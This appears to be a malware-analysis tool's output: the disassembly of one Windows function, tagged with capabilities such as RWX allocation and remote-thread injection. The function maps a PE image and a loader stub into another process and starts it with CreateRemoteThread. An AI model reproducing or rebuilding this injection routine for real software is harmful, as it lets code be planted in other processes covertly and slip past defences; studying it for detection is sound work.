Function at 0x41a7b0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x504868
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x258
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], 0
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
push 0x40
cmovae esi, dword [ebx + 8]
cmovae ecx, dword [ebx + 8]
mov dword [ebp - 0x1c], esi
push 0x3000
mov esi, dword [esi + 0x3c]
add esi, ecx
mov dword [ebp - 0x14], esi
push dword [esi + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
push 0
push dword [esi + 0x54]
cmovae ecx, dword [ebx + 8]
push ecx
push eax
push edi
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x41a887
add esi, 0x10c
nop dword [eax]
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
mov ecx, dword [esi]
cmovae eax, dword [ebx + 8]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x20]
push ecx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x41a850
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x268], eax
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x264], ecx
mov ecx, dword [esi + 0xa0]
add ecx, eax
mov dword [ebp - 0x260], ecx
mov ecx, dword [esi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x258], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x200
mov dword [ebp - 0x254], eax
lea eax, [ebp - 0x250]
push 0
push eax
mov dword [ebp - 0x25c], ecx
call fcn.004df440
mov edx, dword [0x535b84]
lea ecx, [ebp - 0x13]
add esp, 0xc
mov word [ebp - 0x13], 0x3a
mov byte [ebp - 0x11], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a917
mov eax, closesocket
sub ecx, esi
sub eax, edx
cmp eax, ecx
jb 0x41aadf
cmp dword [0x535b88], 0x10
mov eax, 0x535b74
push ecx
cmovae eax, dword [0x535b74]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50]
call fcn.0046db90
push 0x538100
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 1
call fcn.00465e90
mov dword [ebp - 0x28], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x38], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x28], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x41a9d1
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a9c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aae4
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp dword [0x535b58], 0x10
lea eax, [ebp - 0x38]
mov ecx, 0x535b44
cmovae ecx, dword [0x535b44]
cmp dword [ebp - 0x24], 0x10
push ecx
cmovae eax, dword [ebp - 0x38]
push eax
lea eax, [ebp - 0x250]
push str._s_s
push eax
call fcn.00402d30
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x268]
add esp, 0x10
push 0
push 0x218
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.0041a7a0
add esi, 0x218
sub eax, 0x41a690
push eax
push 0x41a690
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x18]
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x41aa8a
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41aa80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aae9
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
cmp ecx, 0x10
jb 0x41aacc
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41aac2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aae9
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402060
call fcn.004e2700
call fcn.004e2700
int3